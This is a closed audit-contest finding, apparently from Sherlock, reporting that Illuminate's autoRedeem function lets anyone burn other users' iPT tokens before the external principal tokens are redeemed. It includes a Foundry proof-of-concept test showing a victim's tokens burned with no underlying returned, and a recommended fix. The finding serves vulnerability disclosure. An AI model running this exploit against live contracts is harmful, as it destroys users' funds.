sherlock-audit / 2022-10-illuminate-judging

3 stars 0 forks source link

Jeiwan - Anyone can burn anyone else's iPT tokens #216

Closed sherlock-admin closed 2 years ago

sherlock-admin commented 2 years ago

Jeiwan

high

Anyone can burn anyone else's iPT tokens

Summary

Anyone can burn anyone else's iPT tokens

Vulnerability Detail

In the autoRedeem function, iPT tokens are burned even when the holdings mapping is empty and the redeemed amount is 0 (Redeemer.sol#L513-L528). The function allows anyone to redeem and burn anyone else's iPT tokens.

Impact

An attacker can call the autoRedeem function and pass users' addresses after maturity but before the external PT tokens have been redeemed. This will burn users' iPT tokens but they won't get underlying tokens in exchange.

Code Snippet

// test/fork/Redeemer.t.sol
function testAutoRedeemExploit_AUDIT() public {
    deployMarket(Contracts.USDC, 0);

    address user = 0x7111F9Aeb2C1b9344EC274780dc9e3806bdc60Ef;
    address principalToken = mp.markets(Contracts.USDC, maturity, 0);

    deal(principalToken, user, startingBalance, true);

    // !!! External PT tokens haven't been redeemed.

    vm.startPrank(user);
    IERC20(Contracts.USDC).approve(address(r), startingBalance);
    vm.stopPrank();

    // user is the victim of the attack
    address[] memory onBehalfOf = new address[](1);
    onBehalfOf[0] = user;

    // The victim has iPT tokens before the attack.
    assertEq(IERC20(principalToken).balanceOf(user), startingBalance);

    // The attacker calls autoRedeem after maturity BUT before external PT tokens have been redeemed.
    r.autoRedeem(Contracts.USDC, maturity, onBehalfOf);

    // The victim hasn't received underlying tokens.
    assertEq(IERC20(Contracts.USDC).balanceOf(user), 0);
    // Victim's iPT tokens were burned.
    assertEq(IERC20(principalToken).balanceOf(user), 0);
}

Tool used

Manual Review

Recommendation

Ensure that iPT tokens can be redeemed only after external PT tokens have been redeemed.

Duplicate of #239